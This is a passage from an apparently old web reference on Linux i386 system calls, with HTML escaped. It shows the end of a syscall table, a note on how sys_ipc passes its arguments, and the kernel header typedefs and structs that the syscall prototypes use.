long&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;184&lt;/td&gt;&lt;td&gt;sys_capget&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/capability.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#cap_user_header_t"&gt;cap_user_header_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#cap_user_data_t"&gt;cap_user_data_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;185&lt;/td&gt;&lt;td&gt;sys_capset&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/capability.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#cap_user_header_t"&gt;cap_user_header_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#cap_user_data_t"&gt;const cap_user_data_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;186&lt;/td&gt;&lt;td&gt;sys_sigaltstack&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;arch/i386/kernel/signal.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#stack_t"&gt;const stack_t *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#stack_t"&gt;stack_t *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;187&lt;/td&gt;&lt;td&gt;sys_sendfile&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;mm/filemap.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;int&lt;/td&gt;&lt;td&gt;int&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#off_t"&gt;off_t *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#size_t"&gt;size_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;190&lt;/td&gt;&lt;td&gt;sys_vfork&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;arch/i386/kernel/process.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#pt_regs"&gt;struct pt_regs&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;a href="" name="note117"&gt;&lt;b&gt;Note for sys_ipc&lt;/b&gt; (117)&lt;/a&gt;: this syscall takes six arguments, so it can't fit into the five registers %ebx - %edi; the last parameter (not shown) is of type 'long'. This syscall requires a special call method where a pointer is put in %ebx which points to an array containing the six arguments. &lt;br /&gt;I will now explain exactly where in the kernel source that I got the information in the table above. I do this because 1) changes in the source are bound to happen, 2) you might be curious, or 3) I might've made an error.  &lt;br /&gt;&lt;h2&gt;System Call Numbers&lt;/h2&gt;For the numbers of the syscalls, look in &lt;a href=""&gt;arch/i386/kernel/entry.S&lt;/a&gt; for &lt;strong&gt;sys_call_table&lt;/strong&gt;. The syscall numbers are offsets into that table. Several spots in the table are occupied by the syscall &lt;strong&gt;sys_ni_syscall&lt;/strong&gt;. This is a placeholder that either replaces an obsolete syscall or reserves a spot for future syscalls. &lt;br /&gt;Incidentally, the system calls are called from the function &lt;strong&gt;system_call&lt;/strong&gt; in the same file; in particular, they are called with the assembly instruction 'call&amp;nbsp;*SYMBOL_NAME(sys_call_table)(,%eax,4)'. The part '*SYMBOL_NAME(sys_call_table)' just gets replaced by a symbol name in &lt;strong&gt;sys_call_table&lt;/strong&gt;. &lt;strong&gt;SYMBOL_NAME&lt;/strong&gt; is a macro defined in &lt;a href="http://world.std.com/usr/src/linux/include/linux/linkage.h"&gt;include/linux/linkage.h&lt;/a&gt;, and it just replaces itself with its argument.  &lt;br /&gt;&lt;h2&gt;Typedefs&lt;/h2&gt;Here are the typedef declarations in the prototypes above:&lt;br /&gt;&lt;table border="1"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="atomic_t"&gt;atomic_t&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/asm/atomic.h&lt;/a&gt;:&lt;br /&gt;#ifdef __SMP__&lt;br /&gt;typedef struct { volatile int counter; } atomic_t;&lt;br /&gt;#else&lt;br /&gt;typedef struct { int counter; } atomic_t;&lt;br /&gt;#endif &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="caddr_t"&gt;caddr_t&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/asm/posix_types.h&lt;/a&gt;:typedef char * __kernel_caddr_t;&lt;br /&gt;&lt;a href=""&gt;include/linux/types.h&lt;/a&gt;:typedef __kernel_caddr_t caddr_t; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="cap_user_header_t"&gt;cap_user_header_t&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/linux/capability.h&lt;/a&gt;:&lt;br /&gt;typedef struct __user_cap_header_struct {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#__u32"&gt;__u32&lt;/a&gt; version;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int pid;&lt;br /&gt;} *cap_user_header_t; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="cap_user_data_t"&gt;cap_user_data_t&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/linux/capability.h&lt;/a&gt;:&lt;br /&gt;typedef struct __user_cap_data_struct {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#__u32"&gt;__u32&lt;/a&gt; effective;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#__u32"&gt;__u32&lt;/a&gt; permitted;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#__u32"&gt;__u32&lt;/a&gt; inheritable;&lt;br /&gt;} *cap_user_data_t; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="clock_t"&gt;clock_t&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/asm/posix_types.h&lt;/a&gt;:typedef long __kernel_clock_t;&lt;br /&gt;&lt;a href=""&gt;include/linux/types.h&lt;/a&gt;:typedef __kernel_clock_t clock_t; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="dev_t"&gt;dev_t&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/asm/posix_types.h&lt;/a&gt;:typedef unsigned short __kernel_dev_t;&lt;br /&gt;&lt;a href=""&gt;include/linux/types.h&lt;/a&gt;:typedef __kernel_dev_t dev_t; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="fdset"&gt;fdset&lt;/a&gt;&lt;/th&gt; &lt;td&gt; include/linux/posix_types.h&lt;br /&gt;#define __FD_SETSIZE  1024&lt;br /&gt;#define __NFDBITS     (8 * sizeof(unsigned long))&lt;br /&gt;#define __FDSET_LONGS (__FD_SETSIZE/__NFDBITS)&lt;br /&gt;(==&amp;gt; __FDSET_LONGS == 32)&lt;br /&gt;&lt;br /&gt;typedef struct {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long fds_bits [__FDSET_LONGS];&lt;br /&gt;} __kernel_fd_set;&lt;br /&gt;&lt;a href=""&gt;include/linux/types.h&lt;/a&gt;:typedef __kernel_fd_set fd_set;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="gid_t"&gt;gid_t&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/asm/posix_types.h&lt;/a&gt;:typedef unsigned short __kernel_gid_t;&lt;br /&gt;&lt;a href=""&gt;include/linux/types.h&lt;/a&gt;:typedef __kernel_gid_t gid_t; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="__kernel_daddr_t"&gt;__kernel_daddr_t&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/asm/posix_types.h&lt;/a&gt;:typedef int __kernel_daddr_t;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="__kernel_fsid_t"&gt;__kernel_fsid_t&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/asm/posix_types.h&lt;/a&gt;:&lt;br /&gt;typedef struct {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int __val[2];&lt;br /&gt;} __kernel_fsid_t;&lt;br /&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="__kernel_ino_t"&gt;__kernel_ino_t&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/asm/posix_types.h&lt;/a&gt;:typedef unsigned long __kernel_ino_t;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="__kernel_size_t"&gt;__kernel_size_t&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/asm/posix_types.h&lt;/a&gt;:typedef unsigned int __kernel_size_t; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="loff_t"&gt;loff_t&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/asm/posix_types.h&lt;/a&gt;:typedef long long __kernel_loff_t;&lt;br /&gt;&lt;a href=""&gt;include/linux/types.h&lt;/a&gt;:typedef __kernel_loff_t loff_t; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="mode_t"&gt;mode_t&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/asm/posix_types.h&lt;/a&gt;:typedef unsigned short __kernel_mode_t;&lt;br /&gt;&lt;a href=""&gt;include/linux/types.h&lt;/a&gt;:typedef __kernel_mode_t mode_t; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="off_t"&gt;off_t&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/asm/posix_types.h&lt;/a&gt;:typedef long __kernel_off_t; &lt;a href=""&gt;include/linux/types.h&lt;/a&gt;:typedef __kernel_off_t off_t; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="old_sigset_t"&gt;old_sigset_t&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/asm/signal.h&lt;/a&gt;:typedef unsigned long old_sigset_t; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="pid_t"&gt;pid_t&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/asm/posix_types.h&lt;/a&gt;:typedef int __kernel_pid_t;&lt;br /&gt;&lt;a href=""&gt;include/linux/types.h&lt;/a&gt;:typedef __kernel_pid_t pid_t; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="__sighandler_t"&gt;__sighandler_t&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/asm/signal.h&lt;/a&gt;:typedef void (*__sighandler_t)(int); &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="siginfo_t"&gt;siginfo_t&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/asm/siginfo.h&lt;/a&gt;:&lt;br /&gt;#define SI_MAX_SIZE 128&lt;br /&gt;#define SI_PAD_SIZE ((SI_MAX_SIZE/sizeof(int)) - 3)&lt;br /&gt;(==&amp;gt; SI_PAD_SIZE == 29)&lt;br /&gt;&lt;br /&gt;typedef struct siginfo {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int si_signo;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int si_errno;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int si_code;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;union {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int _pad[SI_PAD_SIZE];&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/* kill() */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;struct {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#pid_t"&gt;pid_t&lt;/a&gt; _pid; /* sender's pid */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#uid_t"&gt;uid_t&lt;/a&gt; _uid; /* sender's uid */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} _kill;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/* POSIX.1b timers */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;struct {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned int _timer1;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned int _timer2;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} _timer;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/* POSIX.1b signals */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;struct {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#pid_t"&gt;pid_t&lt;/a&gt; _pid; /* sender's pid */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#uid_t"&gt;uid_t&lt;/a&gt; _uid; /* sender's uid */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sigval_t _sigval;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} _rt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/* SIGCHLD */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;struct {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#pid_t"&gt;pid_t&lt;/a&gt; _pid; /* which child */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#uid_t"&gt;uid_t&lt;/a&gt; _uid; /* sender's uid */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int _status; /* exit code */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#clock_t"&gt;clock_t&lt;/a&gt; _utime;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#clock_t"&gt;clock_t&lt;/a&gt; _stime;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} _sigchld;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/* SIGILL, SIGFPE, SIGSEGV, SIGBUS */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;struct {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;void *_addr; /* faulting insn/memory ref. */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} _sigfault;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/* SIGPOLL */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;struct {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int _band; /* POLL_IN, POLL_OUT, POLL_MSG */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int _fd;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} _sigpoll;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} _sifields;&lt;br /&gt;} siginfo_t; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="sigset_t"&gt;sigset_t&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/asm/signal.h&lt;/a&gt;:typedef unsigned long sigset_t; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="size_t"&gt;size_t&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/asm/posix_types.h&lt;/a&gt;:typedef unsigned int __kernel_size_t;&lt;br /&gt;&lt;a href=""&gt;include/linux/types.h&lt;/a&gt;:typedef __kernel_size_t size_t; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="ssize_t"&gt;ssize_t&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/asm/posix_types.h&lt;/a&gt;:typedef int __kernel_ssize_t;&lt;br /&gt;&lt;a href=""&gt;include/linux/types.h&lt;/a&gt;:typedef __kernel_ssize_t ssize_t; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="stack_t"&gt;stack_t&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/asm/signal.h&lt;/a&gt;:&lt;br /&gt;typedef struct sigaltstack {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;void *ss_sp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int ss_flags;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#size_t"&gt;size_t&lt;/a&gt; ss_size;&lt;br /&gt;} stack_t; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="suseconds_t"&gt;suseconds_t&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/asm/posix_types.h&lt;/a&gt;:typedef long __kernel_suseconds_t;&lt;br /&gt;&lt;a href=""&gt;include/linux/types.h&lt;/a&gt;:typedef __kernel_suseconds_t suseconds_t;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="time_t"&gt;time_t&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/asm/posix_types.h&lt;/a&gt;:typedef long __kernel_time_t; &lt;a href=""&gt;include/linux/types.h&lt;/a&gt;:typedef __kernel_time_t time_t;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="uid_t"&gt;uid_t&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/asm/posix_types.h&lt;/a&gt;:typedef unsigned short __kernel_uid_t;&lt;br /&gt;&lt;a href=""&gt;include/linux/types.h&lt;/a&gt;:typedef __kernel_uid_t uid_t; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="uint"&gt;uint&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/linux/types.h&lt;/a&gt;:typedef unsigned int uint; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="__u32"&gt;__u32&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/asm/types.h&lt;/a&gt;:typedef unsigned int __u32; &lt;/td&gt; &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;h2&gt;Struct Declarations&lt;/h2&gt;Here are the struct declarations for the table at the top:&lt;br /&gt;&lt;table border="1"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="exception_table_entry"&gt;exception_table_entry&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/linux/module.h&lt;/a&gt;:&lt;br /&gt;struct exception_table_entry {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long insn, fixup;&lt;br /&gt;}; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="iovec"&gt;iovec&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/linux/uio.h&lt;/a&gt;:&lt;br /&gt;struct iovec {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;void *iov_base;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#__kernel_size_t"&gt;__kernel_size_t&lt;/a&gt; iov_len; }; &lt;/td&gt; 